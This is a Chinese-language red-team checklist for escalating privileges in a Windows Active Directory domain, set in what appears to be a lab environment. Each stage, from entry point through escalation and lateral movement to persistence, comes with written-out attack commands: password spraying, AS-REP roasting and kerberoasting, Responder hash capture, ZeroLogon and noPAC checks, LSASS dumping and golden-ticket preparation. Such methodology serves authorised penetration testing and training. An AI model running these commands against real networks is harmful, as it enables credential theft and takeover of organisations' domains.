来说是非者,便是是非人。
导航
- [零 - 前言](#零 - 前言)
- [壹 - 突破点](#壹 - 突破点)
- [贰 - 权限提升](#贰 - 权限提升)
- [叁 - 横向移动](#叁 - 横向移动)
- [肆 - 会话维持](#肆 - 会话维持)
- [伍 - 辅助工具](#伍 - 辅助工具)
零 - 前言
域提权与 Windows 提权的不同之处在于:Windows 提权的前提是 必须先获得目标机器的立足点 (即 Shell),然后再枚举机器自身弱点,最终获得机器的本地 SYSTEM 或管理员权限;而域提权则 可以是在获得任意域主机立足点的情况下进行、也可以是在获得任意普通域用户凭证但无法登录域主机的情况下进行,然后再枚举域环境的弱点,最终获得域控机器的本地 SYSTEM 或域管理员权限。
壹 - 突破点
RCE 漏洞
- 扫描目标网络的所有域主机,检查能否发现一些 Windows 系统的经典 RCE 漏洞(如 ms17-010 漏洞)。【命令:
nmap --script='smb-vuln-*' -p 445 192.168.56.0/24
或nxc smb 192.168.56.0/24 -M ms17-010
】 - 聚焦于应用服务器,结合系统上运行的应用服务(如 FTP、IIS),看看这些应用组件是否存在 RCE 漏洞。
- 聚焦于 WEB 服务器,检查网站中是否存在 命令注入、SQL 注入、XXE 注入、SSRF、远程包含、本地包含+文件上传 等可直接或间接获得 web shell 的漏洞。
凭证爆破
- 尝试使用 impacket-lookupsid 或 enum4linux-ng 工具 匿名枚举域用户 ,或借助 kerbrute 工具进行用户名爆破。【命令:
impacket-lookupsid skylark.com/guest@192.168.56.50
或enum4linux-ng -A -u "" -p "" 192.168.56.50
或./kerbrute_linux_386 userenum -d skylark.com --dc 192.168.56.50 user.txt
】 - 根据得到的域用户列表,借助 kerbrute.py 工具检测 禁用预认证的用户 。若检测到了,便可以进行 AS-REP 哈希的爆破,进而就有可能获得域用户的凭证 。 【命令:
python kerbrute.py -domain skylark.com -user user.txt -dc-ip 192.168.56.50
】 - 若未检测到禁用预认证的用户,则使用 nxc 结合已获得的用户名列表进行 密码喷洒 。若用户名列表特别长,那么优先使用命令 1 进行;若用户名列表并不长,那么命令 1 和命令 2 随意。【命令 1:
nxc smb 192.168.56.50 -u user.txt -p pass.txt -d skylark.com --continue-on-success | grep +
、命令 2:nxc smb 192.168.56.50 -u user.txt -p pass.txt -d skylark.com --no-bruteforce --continue-on-success | grep +
】 - 若在 Web 检测中发现了 SSRF 的漏洞,那便可以借助 Responder 进行 NTLMv2 哈希的 哈希爆破 ,进而就有可能获得域用户的凭证。
- 此外,若处在局域网中的话,也可以使用 Responder 尝试进行 NTLMv2 哈希的捕获,万一就有意外惊喜。【命令:
responder -I eth0
】
注:若经过以上 RCE 漏洞中的步骤最终获得了立足点,而为了可以供一些工具远程使用该用户的权限,则可以使用 rubeus.exe 导出域主机上当前用户的 TGT 票据。
Rubeus.exe tgtdeleg /nowrap >ticket.txt
贰 - 权限提升
委派
- 检查当前用户对域控是否具有 约束委派 权限。【命令:
impacket-findDelegation skylark.com/user:'password@123' -dc-ip 192.168.56.50
】【更多参考】 - 检查当前用户对域控是否具有 基于资源的委派 权限。【命令:
impacket-rbcd skylark.com/user:'password@123' -dc-ip 192.168.56.50 -action read -delegate-to DC2012$
】【更多参考】 - 若检查发现当前用户没有对域控的委派权限,但存在其它用户对域控或对其它服务器具备委派权限,则 暂时先跳过 委派部分的利用,待后续提权不成功之后再回来。
NTLM 中继-强制认证
- 检查域控机器是否是主备式的、存在 NTLM 强制认证漏洞、存在 remove-mic 漏洞,若不满足以上任意一个条件则直接跳过以下步骤 。【命令:
nxc smb 192.168.56.51 -u user -p 'password@123' -d skylark.com -M coerce_plus
和nxc smb 192.168.56.51 -u user -p 'password@123' -d skylark.com -M remove-mic
】 - 优先尝试 NTLM 中继-委派 攻击。【更多参考】
- 若域控操作系统是 Windows 2016+,则尝试 NTLM 中继-影子凭证 攻击。【更多参考】
- 若域控还提供证书颁发和 Web 申请证书的服务,则尝试 NTLM 中继-ADCS 证书申请 攻击。【更多参考】
提权漏洞
- ZeroLogon 漏洞。【命令:
nxc smb 192.168.56.50 -M zerologon
】【更多参考】 - PrintNightmare 漏洞。【命令:
nxc smb 192.168.56.50 -u 'user' -p 'password@123' -d skylark.com-M printnightmare
检测法很有效,impacket-rpcdump 192.168.56.50 | egrep 'MS-RPRN|MS-PAR'
检测法似乎不是很准确。】【更多参考】 - CertiFried 漏洞。【命令:
nxc ldap 192.168.56.50 -u 'user' -p 'password@123' -d skylark.com-M adcs
】【更多参考】 - noPAC 漏洞。【命令:
nxc smb -u 'user' -p 'password@123' -d skylark.com 192.168.56.50 -M nopac
】【更多参考】
注:域提权漏洞并不总是支持远程(凭证、票据)提权,这时候就只能在获得立足点的环境(shell)下进行利用了。
叁 - 横向移动
在一系列域提权操作不成功之后,还可以借助一些技巧进行横向移动,以期望能发现一些惊喜。
- 检查是否存在 可进行 kerberoasting 攻击的域服务帐户 ,若存在的话则继续检查其所属组的情况(若是域管理组的话自然最好,通常来说服务所运行的账户总是有一定价值的。),以决定是否值得花费大量工夫去破解哈希。【命令:
impacket-GetUserSPNs skylark.com/user:'password@123' -dc-ip 192.168.56.50
】【更多参考】 - 使用 已有的凭证(账户密码、账户哈希、TGT 票据)去遍历域中所有的主机 ,以期望能够发现该凭证在某域主机上拥有本地管理员的权限。【命令:
nxc smb 192.168.56.0/24 -u 'user' -p 'password@123' -d skylark.com
| grep Pwn】 - 检查当前域主机的系统情况,看看是否能够查找到可以进行 Windows 本地提权 的方法。若能够本地提权的话,就又能多一些查找域提权的方法。【更多参考】
- 在本地提权能够成功的前提下,还可以进行 令牌模拟和 LSASS 进程转储 ,以期望能够发现一些曾在本机登录过的其它用户的令牌或哈希信息。【更多参考 1、更多参考 2】
肆 - 会话维持
在完全控制了域控机器之后,可以采取以下措施来维持对 DC 机器的持续访问控制。
- 转储 krbtgt 账户和 DC 机器账户的哈希,这样便可以通过离线制作金票银票,来发起对域控的票据传递攻击。同时,也是因为这两个账户的密码基本上并不会像域账户那样被随意修改。【更多参考】
伍 - 辅助工具
注意:BloodHound CE 版本的采集器和 Legacy 版本的采集器不通用,查询语法规则亦如此。